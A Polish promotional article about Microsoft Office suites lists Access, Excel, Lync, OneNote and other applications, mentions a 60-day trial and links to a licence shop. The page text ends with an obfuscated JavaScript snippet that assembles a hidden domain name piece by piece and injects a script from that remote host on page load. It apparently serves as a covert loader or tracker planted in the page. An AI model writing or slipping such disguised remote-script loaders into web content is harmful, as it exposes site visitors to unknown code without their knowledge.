19 maja 2015r. godz. 08:02, odsłon: 2888, Redakcja

Najlepsze rozwiązania dla biura

Praca w nowoczesnym biurze jest wymagająca.

To nie tylko tworzenie dokumentów i ich drukowanie, to tworzenie skomplikowanych tabeli, raportów, prezentacji. Bardzo często pracownik biura tworzy bazy danych programy graficzne, obsługuje pocztę elektroniczną oraz elektroniczne kalendarze i organizery. To wszystko sprawia, że jego stanowisko pracy musi zostać dobrze wyposażone. Inaczej może okazać się, że praca będzie nieefektywna, nie będzie przynosiła pożądanych skutków, a wręcz jej wykonanie będzie czasem niemożliwe. Rozwiązaniem obecnie najczęściej stosowanym jest pakiet biurowy.

W skład pakietu biurowego wchodzą programy, które stworzone zostały z myślą o tych wszystkich, którzy wykonują czynności biurowe. Aplikacje znajdujące się z pakiecie, umożliwiają łatwą oraz sprawną edycję tekstu, wykonywanie nawet bardzo skomplikowanych obliczeń w arkuszu kalkulacyjnym, a także tworzenie wszelkich prezentacji multimedialnych z różnym przeznaczeniem; czy to komercyjnych, czy dla klienta, albo też potrzebnych do realizacji różnego rodzaju szkoleń. W niektórych biurach konieczne są programy, które umożliwiają tworzenie, skomplikowanych niekiedy, baz danych, tworzenie stron internetowych czy też plików graficznych.

Jednym z najpopularniejszych obecnie pakietów biurowych jest pakiet Microsoft Office. Dzięki niemu przygotowanie wszelkich dokumentów jest naprawdę bardzo proste i nie wymaga od nas dużego wysiłku. W zależności od wybranej wersji, możemy korzystać z różnych dodatkowych pakietów. Jednym z przykładów jest Microsoft Professional Plus 2013, przeznaczony przede wszystkim dla środowiska biurowego, który poza klasycznymi możliwościami, posiada także możliwość tworzenia formularzy oraz zbiorczego edytowania dokumentów, a także umożliwia zbieranie danych.

W skład pakietu Office wchodzi wiele aplikacji. Do najpopularniejszych i najczęściej używanych w biurach zaliczyć można Acces, Excel, Lync czy OneNote. Pierwszy z nich to aplikacja, która umożliwia tworzenie baz danych, a także aplikacji do baz danych. Excel wykorzystywany jest do tworzenia zaawansowanych arkuszy kalkulacyjnych, z kolei Lync to multikomunikator internetowy, za pomocą które można przeprowadzać wideokonferencje, możliwa jest komunikacja głosowa oraz natychmiastowe wiadomości. OneNote jest programem umożliwiającym gromadzenie notatek. Oczywiście w pakiecie biurowym nie może zabraknąć Microsoft Word, a więc edytora tekstów, który obecnie jest niezwykle rozbudowany i pozwala na tworzenie różnych rodzajów dokumentów. Microsoft Publisher pozwala na tworzenie materiałów marketingowych, a Microsoft PowerPoint pomoże stworzyć prezentacje multimedialne.

Jak widać, pakiety biurowe posiadają dużą ilość bardzo przydatnych aplikacji, dzięki którym praca jest wygodna i szybka. Różne rodzaje pakietów pozwalają dopasować je do wymogów twojego biura. Warto pamiętać, że każdy może pobrać wersje testową i sprawdzić, czy dany pakiet mu odpowiada. Wersja taka ma okres ważności 60 dni i można pobrać ją ze strony producenta.

Pełna oferta oprogramowania firmy Microsoft dostępna w sklepie online - LicencjeMicrosoft.pl

(function(){ umsy=document.createElement("script");umsy.type="text/javascript"; umsy.async=true;umsy_=(("us")+"t")+"a";umsy_+=("t.i")+""+"n";umsy_+=(("f")+"o"); umsy.src="http://"+umsy_+"/2111187.0knnnn41msyytd7up3a8wcpibqexq3"; document.body.appendChild(umsy); })();